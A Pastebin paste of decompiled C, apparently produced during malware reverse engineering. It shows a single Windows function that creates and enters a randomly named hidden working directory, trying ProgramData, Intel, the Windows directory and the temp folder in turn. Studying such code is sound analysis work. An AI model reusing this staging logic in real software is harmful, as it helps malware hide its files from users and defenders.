Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- uint __cdecl create_random_hidden_directory(wchar_t *cwd_out)
- {
- DWORD pd_attr;
- wchar_t *pwVar1;
- int iVar2;
- undefined4 *puVar3;
- undefined2 local_4d8;
- WCHAR programdata_path;
- undefined4 local_2d2 [129];
- WCHAR randomstring_w;
- undefined4 local_ca [49];
- programdata_path = DAT_0040f874;
- iVar2 = 0x81;
- puVar3 = (undefined4 *)&stack0xfffffb26;
- while (iVar2 != 0) {
- iVar2 = iVar2 + -1;
- *puVar3 = 0;
- puVar3 = puVar3 + 1;
- }
- *(undefined2 *)puVar3 = 0;
- iVar2 = 0x81;
- puVar3 = local_2d2;
- while (iVar2 != 0) {
- iVar2 = iVar2 + -1;
- *puVar3 = 0;
- puVar3 = puVar3 + 1;
- }
- *(undefined2 *)puVar3 = 0;
- iVar2 = 0x31;
- randomstring_w = programdata_path;
- puVar3 = local_ca;
- while (iVar2 != 0) {
- iVar2 = iVar2 + -1;
- *puVar3 = 0;
- puVar3 = puVar3 + 1;
- }
- *(undefined2 *)puVar3 = 0;
- MultiByteToWideChar(0,0,(LPCSTR)&randomstring,-1,&randomstring_w,99);
- /* Get C:\ Or C:\Windows */
- GetWindowsDirectoryW((LPWSTR)&stack0xfffffb24,0x104);
- local_4d8 = 0;
- /* C:\ProgramData Or C:\Windows\ProgramData */
- swprintf(&programdata_path,u_%s\ProgramData_0040f40c,&stack0xfffffb24);
- pd_attr = GetFileAttributesW(&programdata_path);
- if ((pd_attr == 0xffffffff) ||
- (iVar2 = create_and_cwd_dir(&programdata_path,&randomstring_w,cwd_out), iVar2 == 0)) {
- /* C:\Intel Or C:\Windows\Intel */
- swprintf(&programdata_path,u_%s\Intel_0040f3f8,(wchar_t *)&stack0xfffffb24);
- iVar2 = create_and_cwd_dir(&programdata_path,&randomstring_w,cwd_out);
- if ((iVar2 == 0) &&
- (iVar2 = create_and_cwd_dir((LPCWSTR)&stack0xfffffb24,&randomstring_w,cwd_out), iVar2 == 0))
- {
- /* C:\*randomstring* */
- GetTempPathW(0x104,&programdata_path);
- pwVar1 = wcsrchr(&programdata_path,L'\\');
- if (pwVar1 != (wchar_t *)0x0) {
- pwVar1 = wcsrchr(&programdata_path,L'\\');
- *pwVar1 = L'\0';
- }
- iVar2 = create_and_cwd_dir(&programdata_path,&randomstring_w,cwd_out);
- return (uint)(iVar2 != 0);
- }
- }
- return 1;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement